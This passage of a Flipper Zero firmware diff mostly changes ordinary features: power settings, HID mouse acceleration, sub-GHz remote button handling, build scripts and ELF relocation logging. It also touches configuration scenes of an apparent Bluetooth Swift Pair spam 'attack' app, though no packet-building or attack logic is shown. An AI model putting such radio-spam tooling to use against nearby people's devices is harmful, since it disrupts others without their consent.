variable_item_list_set_enter_callback(list, config_callback, ctx); } -static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) { +static uint8_t config_count(const ProtocolCfg* _cfg) { UNUSED(_cfg); return ConfigCOUNT - ConfigExtraStart - 1; } const Protocol protocol_swiftpair = { .icon = &I_windows, - .get_name = swiftpair_get_name, - .make_packet = swiftpair_make_packet, - .extra_config = swiftpair_extra_config, - .config_count = swiftpair_config_count, + .get_name = get_name, + .make_packet = make_packet, + .extra_config = extra_config, + .config_count = config_count, }; static void name_callback(void* _ctx) { Ctx* ctx = _ctx; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + _cfg->mode = ProtocolModeValue; scene_manager_previous_scene(ctx->scene_manager); } void scene_swiftpair_name_on_enter(void* _ctx) { Ctx* ctx = _ctx; - SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + SwiftpairCfg* cfg = &_cfg->specific.swiftpair; TextInput* text_input = ctx->text_input; text_input_reset(text_input); - text_input_set_header_text(text_input, "Leave empty for random"); + text_input_set_header_text(text_input, "Press back for random"); text_input_set_result_callback( text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true); @@ -112,8 +123,11 @@ void scene_swiftpair_name_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput); } bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) { - UNUSED(_ctx); - UNUSED(event); + Ctx* ctx = _ctx; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + if(event.type == SceneManagerEventTypeBack) { + _cfg->mode = ProtocolModeRandom; + } return false; } void scene_swiftpair_name_on_exit(void* _ctx) { diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_reset.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_reset.c index 625cd1f88..c797ff288 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_reset.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_reset.c @@ -37,6 +37,9 @@ bool xtreme_app_scene_interface_mainmenu_reset_on_event(void* context, SceneMana app->require_reboot = true; xtreme_app_apply(app); break; + case DialogExResultLeft: + scene_manager_previous_scene(app->scene_manager); + break; default: break; } diff --git a/applications/settings/power_settings_app/scenes/power_settings_scene_power_off.c b/applications/settings/power_settings_app/scenes/power_settings_scene_power_off.c index 573c4c4f8..65f10762f 100644 --- a/applications/settings/power_settings_app/scenes/power_settings_scene_power_off.c +++ b/applications/settings/power_settings_app/scenes/power_settings_scene_power_off.c @@ -20,7 +20,7 @@ void power_settings_scene_power_off_on_enter(void* context) { dialog, " I will be\nwaiting for\n you here", 78, 16, AlignLeft, AlignTop); } dialog_ex_set_icon(dialog, 21, 13, &I_Cry_dolph_55x52); - dialog_ex_set_left_button_text(dialog, "Back"); + dialog_ex_set_left_button_text(dialog, "Battery"); dialog_ex_set_right_button_text(dialog, "OFF"); dialog_ex_set_result_callback(dialog, power_settings_scene_power_off_dialog_callback); dialog_ex_set_context(dialog, app); @@ -34,10 +34,7 @@ bool power_settings_scene_power_off_on_event(void* context, SceneManagerEvent ev if(event.type == SceneManagerEventTypeCustom) { if(event.event == DialogExResultLeft) { - if(!scene_manager_previous_scene(app->scene_manager)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } + scene_manager_next_scene(app->scene_manager, PowerSettingsAppSceneBatteryInfo); } else if(event.event == DialogExResultRight) { power_off(app->power); } diff --git a/applications/settings/power_settings_app/views/battery_info.c b/applications/settings/power_settings_app/views/battery_info.c index dd539bd6c..ec94f65ad 100644 --- a/applications/settings/power_settings_app/views/battery_info.c +++ b/applications/settings/power_settings_app/views/battery_info.c @@ -151,7 +151,10 @@ static bool battery_info_input_callback(InputEvent* event, void* context) { BatteryInfo* battery_info = context; - if(event->type == InputTypeShort) { + bool about_battery; + with_view_model( + battery_info->view, BatteryInfoModel * model, { about_battery = model->alt; }, false); + if(about_battery && event->type == InputTypeShort) { if(event->key == InputKeyLeft) { event->key = InputKeyBack; } else if(event->key == InputKeyRight) { diff --git a/applications/system/hid_app/views/hid_mouse.c b/applications/system/hid_app/views/hid_mouse.c index 956ad6b24..5e2dab476 100644 --- a/applications/system/hid_app/views/hid_mouse.c +++ b/applications/system/hid_app/views/hid_mouse.c @@ -22,6 +22,7 @@ typedef struct { bool left_mouse_held; bool right_mouse_pressed; bool connected; + uint8_t acceleration; HidTransport transport; } HidMouseModel; @@ -119,6 +120,11 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { hid_mouse->view, HidMouseModel * model, { + model->acceleration = (event->type == InputTypePress) ? 1 : + (event->type == InputTypeRelease) ? 0 : + (model->acceleration >= 20) ? 20 : + model->acceleration + 1; + if(event->key == InputKeyBack) { if(event->type == InputTypeShort) { hid_hal_mouse_press(hid_mouse->hid, HID_MOUSE_BTN_RIGHT); @@ -150,7 +156,8 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { model->right_pressed = true; hid_hal_mouse_move(hid_mouse->hid, MOUSE_MOVE_SHORT, 0); } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, MOUSE_MOVE_LONG, 0); + for(uint8_t i = model->acceleration; i > 1; i -= 2) + hid_hal_mouse_move(hid_mouse->hid, MOUSE_MOVE_LONG, 0); } else if(event->type == InputTypeRelease) { model->right_pressed = false; } @@ -159,7 +166,8 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { model->left_pressed = true; hid_hal_mouse_move(hid_mouse->hid, -MOUSE_MOVE_SHORT, 0); } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, -MOUSE_MOVE_LONG, 0); + for(uint8_t i = model->acceleration; i > 1; i -= 2) + hid_hal_mouse_move(hid_mouse->hid, -MOUSE_MOVE_LONG, 0); } else if(event->type == InputTypeRelease) { model->left_pressed = false; } @@ -168,7 +176,9 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { model->down_pressed = true; hid_hal_mouse_move(hid_mouse->hid, 0, MOUSE_MOVE_SHORT); } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, 0, MOUSE_MOVE_LONG); + for(uint8_t i = model->acceleration; i > 1; i -= 2) + hid_hal_mouse_move(hid_mouse->hid, 0, MOUSE_MOVE_LONG); + } else if(event->type == InputTypeRelease) { model->down_pressed = false; } @@ -177,7 +187,8 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { model->up_pressed = true; hid_hal_mouse_move(hid_mouse->hid, 0, -MOUSE_MOVE_SHORT); } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, 0, -MOUSE_MOVE_LONG); + for(uint8_t i = model->acceleration; i > 1; i -= 2) + hid_hal_mouse_move(hid_mouse->hid, 0, -MOUSE_MOVE_LONG); } else if(event->type == InputTypeRelease) { model->up_pressed = false; } diff --git a/applications/system/subghz_remote/views/remote.c b/applications/system/subghz_remote/views/remote.c index fc7608624..bdf4b89c3 100644 --- a/applications/system/subghz_remote/views/remote.c +++ b/applications/system/subghz_remote/views/remote.c @@ -201,21 +201,30 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { furi_assert(context); SubRemViewRemote* subrem_view_remote = context; - if(event->key == InputKeyBack && event->type == InputTypeLong) { - subrem_view_remote->callback(SubRemCustomEventViewRemoteBack, subrem_view_remote->context); - return true; - } else if(event->key == InputKeyBack && event->type == InputTypeShort) { + if(event->key == InputKeyBack && event->type == InputTypePress) { + bool is_stopping = false; with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, - { model->pressed_btn = 0; }, + { + if(model->state == SubRemViewRemoteStateSending) { + is_stopping = true; + model->pressed_btn = 0; + } + }, true); - subrem_view_remote->callback( - SubRemCustomEventViewRemoteForcedStop, subrem_view_remote->context); - return true; - } else if(event->key == InputKeyBack) { + + //Cant send exit the app inside that with_model,locks the model and the app will hang and not unload! + if(is_stopping) + subrem_view_remote->callback( + SubRemCustomEventViewRemoteForcedStop, subrem_view_remote->context); + else + subrem_view_remote->callback( + SubRemCustomEventViewRemoteBack, subrem_view_remote->context); + return true; } + // BACK button processing end if(event->key == InputKeyUp && event->type == InputTypePress) { diff --git a/fbt b/fbt index a4f953c3d..549f7c0ae 100755 --- a/fbt +++ b/fbt @@ -5,7 +5,8 @@ set -eu; # private variables -N_GIT_THREADS="$(getconf _NPROCESSORS_ONLN)"; +N_CORES="$(getconf _NPROCESSORS_ONLN)"; +N_GIT_THREADS="$(($N_CORES * 2))"; SCRIPT_PATH="$(cd "$(dirname "$0")" && pwd -P)"; SCONS_DEFAULT_FLAGS="--warn=target-not-built"; SCONS_EP="python3 -m SCons"; @@ -15,6 +16,7 @@ FBT_NOENV="${FBT_NOENV:-""}"; FBT_NO_SYNC="${FBT_NO_SYNC:-""}"; FBT_TOOLCHAIN_PATH="${FBT_TOOLCHAIN_PATH:-$SCRIPT_PATH}"; FBT_VERBOSE="${FBT_VERBOSE:-""}"; +FBT_GIT_SUBMODULE_SHALLOW="${FBT_GIT_SUBMODULE_SHALLOW:-""}"; if [ -z "$FBT_NOENV" ]; then FBT_VERBOSE="$FBT_VERBOSE" . "$SCRIPT_PATH/scripts/toolchain/fbtenv.sh"; @@ -29,7 +31,12 @@ if [ -z "$FBT_NO_SYNC" ]; then echo "\".git\" directory not found, please clone repo via \"git clone\""; exit 1; fi - git submodule update --init --recursive --jobs "$N_GIT_THREADS"; + _FBT_CLONE_FLAGS="--jobs $N_GIT_THREADS"; + if [ ! -z "$FBT_GIT_SUBMODULE_SHALLOW" ]; then + _FBT_CLONE_FLAGS="$_FBT_CLONE_FLAGS --depth 1"; + fi + + git submodule update --init --recursive --recursive $_FBT_CLONE_FLAGS; fi $SCONS_EP $SCONS_DEFAULT_FLAGS "$@" diff --git a/fbt.cmd b/fbt.cmd index 61f55f5c1..078cc69a0 100644 --- a/fbt.cmd +++ b/fbt.cmd @@ -4,10 +4,18 @@ call "%~dp0scripts\toolchain\fbtenv.cmd" env set SCONS_EP=python -m SCons if [%FBT_NO_SYNC%] == [] ( + set _FBT_CLONE_FLAGS=--jobs %NUMBER_OF_PROCESSORS% + if not [%FBT_GIT_SUBMODULE_SHALLOW%] == [] ( + set _FBT_CLONE_FLAGS=%_FBT_CLONE_FLAGS% --depth 1 + ) if exist ".git" ( - git submodule update --init --recursive --depth 1 --jobs %NUMBER_OF_PROCESSORS% + git submodule update --init --recursive --recursive %_FBT_CLONE_FLAGS% + if %ERRORLEVEL% neq 0 ( + echo Failed to update submodules, set FBT_NO_SYNC to skip + exit /b 1 + ) ) else ( - echo Not in a git repo, please clone with "git clone" + echo .git not found, please clone repo with "git clone" exit /b 1 ) ) diff --git a/lib/flipper_application/elf/elf_file.c b/lib/flipper_application/elf/elf_file.c index 9b8b4c8f5..b2c9445ff 100644 --- a/lib/flipper_application/elf/elf_file.c +++ b/lib/flipper_application/elf/elf_file.c @@ -613,10 +613,31 @@ static Elf32_Addr elf_address_of_by_hash(ELFFile* elf, uint32_t hash) { return ELF_INVALID_ADDRESS; } +static bool elf_file_find_string_by_hash(ELFFile* elf, uint32_t hash, FuriString* out) { + bool result = false; + + FuriString* symbol_name = furi_string_alloc(); + Elf32_Sym sym; + for(size_t i = 0; i < elf->symbol_count; i++) { + furi_string_reset(symbol_name); + if(elf_read_symbol(elf, i, &sym, symbol_name)) { + if(elf_symbolname_hash(furi_string_get_cstr(symbol_name)) == hash) { + furi_string_set(out, symbol_name); + result = true; + break; + } + } + } + furi_string_free(symbol_name); + + return result; +} + static bool elf_relocate_fast(ELFFile* elf, ELFSection* s) { UNUSED(elf); const uint8_t* start = s->fast_rel->data; const uint8_t version = *start; + bool no_errors = true; if(version != FAST_RELOCATION_VERSION) { FURI_LOG_E(TAG, "Unsupported fast relocation version %d", version); @@ -664,16 +685,30 @@ static bool elf_relocate_fast(ELFFile* elf, ELFSection* s) { } if(address == ELF_INVALID_ADDRESS) { - FURI_LOG_E(TAG, "Failed to resolve address for hash %lX", hash_or_section_index); - return false; - } + FuriString* symbol_name = furi_string_alloc(); + if(elf_file_find_string_by_hash(elf, hash_or_section_index, symbol_name)) { + FURI_LOG_E( + TAG, + "Failed to resolve address for symbol %s (hash %lX)", + furi_string_get_cstr(symbol_name), + hash_or_section_index); + } else { + FURI_LOG_E( + TAG, + "Failed to resolve address for hash %lX (string not found)", + hash_or_section_index); + } + furi_string_free(symbol_name); - for(uint32_t j = 0; j < offsets_count; j++) { - uint32_t offset = *((uint32_t*)start) & 0x00FFFFFF; - start += 3; - // FURI_LOG_I(TAG, " Fast relocation offset %ld: %ld", j, offset); - Elf32_Addr relAddr = ((Elf32_Addr)s->data) + offset; - elf_relocate_symbol(elf, relAddr, type, address); + no_errors = false; + start += 3 * offsets_count; + } else { + for(uint32_t j = 0; j < offsets_count; j++) { + uint32_t offset = *((uint32_t*)start) & 0x00FFFFFF; + start += 3; + Elf32_Addr relAddr = ((Elf32_Addr)s->data) + offset; + elf_relocate_symbol(elf, relAddr, type, address); + } } } @@ -681,7 +716,7 @@ static bool elf_relocate_fast(ELFFile* elf, ELFSection* s) { free(s->fast_rel); s->fast_rel = NULL; - return true; + return no_errors; } static bool elf_relocate_section(ELFFile* elf, ELFSection* section) { diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index 24076632e..11828d32e 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -100,6 +100,10 @@ class FlipperApplication: def is_default_deployable(self): return self.apptype != FlipperAppType.DEBUG and self.fap_category != "Examples" + @property + def do_strict_import_checks(self): + return self.apptype != FlipperAppType.PLUGIN + def __post_init__(self): if self.apptype == FlipperAppType.PLUGIN: self.stack_size = 0 diff --git a/scripts/fbt_tools/fbt_extapps.py b/scripts/fbt_tools/fbt_extapps.py index bc8f9d5df..963429f24 100644 --- a/scripts/fbt_tools/fbt_extapps.py +++ b/scripts/fbt_tools/fbt_extapps.py @@ -42,6 +42,7 @@ class AppBuilder: self.ext_apps_work_dir = env["EXT_APPS_WORK_DIR"] self.app_work_dir = self.get_app_work_dir(env, app) self.app_alias = f"fap_{self.app.appid}" + self.icons_src = None self.externally_built_files = [] self.private_libs = [] @@ -93,6 +94,7 @@ class AppBuilder: ) self.app_env.Alias("_fap_icons", fap_icons) self.fw_env.Append(_APP_ICONS=[fap_icons]) + self.icons_src = next(filter(lambda n: n.path.endswith(".c"), fap_icons)) def _build_private_libs(self): for lib_def in self.app.fap_private_libs: @@ -160,6 +162,10 @@ class AppBuilder: if not app_sources: raise UserError(f"No source files found for {self.app.appid}") + # Ensure that icons are included in the build, regardless of user-configured sources + if self.icons_src and not self.icons_src in app_sources: + app_sources.append(self.icons_src) + ## Uncomment for debug # print(f"App sources for {self.app.appid}: {list(f.path for f in app_sources)}") @@ -180,7 +186,9 @@ class AppBuilder: self.app._assets_dirs.append(self.app_work_dir.Dir("assets")) app_artifacts.validator = self.app_env.ValidateAppImports( - app_artifacts.compact + app_artifacts.compact, + _CHECK_APP=self.app.do_strict_import_checks + and self.app_env.get("STRICT_FAP_IMPORT_CHECK"), )[0] if self.app.apptype == FlipperAppType.PLUGIN: @@ -300,7 +308,10 @@ def validate_app_imports(target, source, env): + fg.brightmagenta(f"{disabled_api_syms}") + fg.brightyellow(")") ) - SCons.Warnings.warn(SCons.Warnings.LinkWarning, warning_msg), + if env.get("_CHECK_APP"): + raise UserError(warning_msg) + else: + SCons.Warnings.warn(SCons.Warnings.LinkWarning, warning_msg), def GetExtAppByIdOrPath(env, app_dir): diff --git a/scripts/fbt_tools/sconsrecursiveglob.py b/scripts/fbt_tools/sconsrecursiveglob.py index 38aa9a839..e7eb8fb72 100644 --- a/scripts/fbt_tools/sconsrecursiveglob.py +++ b/scripts/fbt_tools/sconsrecursiveglob.py @@ -20,10 +20,9 @@ def GlobRecursive(env, pattern, node=".", exclude=[]): source=True, exclude=exclude, ) - # Otherwise, just check if that's an existing file path - # NB: still creates "virtual" nodes as part of existence check - elif (file_node := node.File(pattern)).exists() or file_node.rexists(): - results.append(file_node) + # Otherwise, just assume that file at path exists + else: + results.append(node.File(pattern)) # print(f"Glob result for {pattern} from {node}: {results}") return results diff --git a/scripts/ufbt/commandline.scons b/scripts/ufbt/commandline.scons index 99c34c35d..a3ba7e08d 100644 --- a/scripts/ufbt/commandline.scons +++ b/scripts/ufbt/commandline.scons @@ -88,6 +88,11 @@ vars.AddVariables( "CDC Port of Flipper to use, if multiple are connected", "auto", ), + BoolVariable( + "STRICT_FAP_IMPORT_CHECK", + help="Enable strict import check for .faps", + default=True, + ), ) Return("vars") diff --git a/site_scons/commandline.scons b/site_scons/commandline.scons index 0b4f03da0..93c43405a 100644 --- a/site_scons/commandline.scons +++ b/site_scons/commandline.scons @@ -270,6 +270,11 @@ vars.AddVariables( "clangd", ], ), + BoolVariable( + "STRICT_FAP_IMPORT_CHECK", + help="Enable strict import check for .faps", + default=True, + ), ) Return("vars")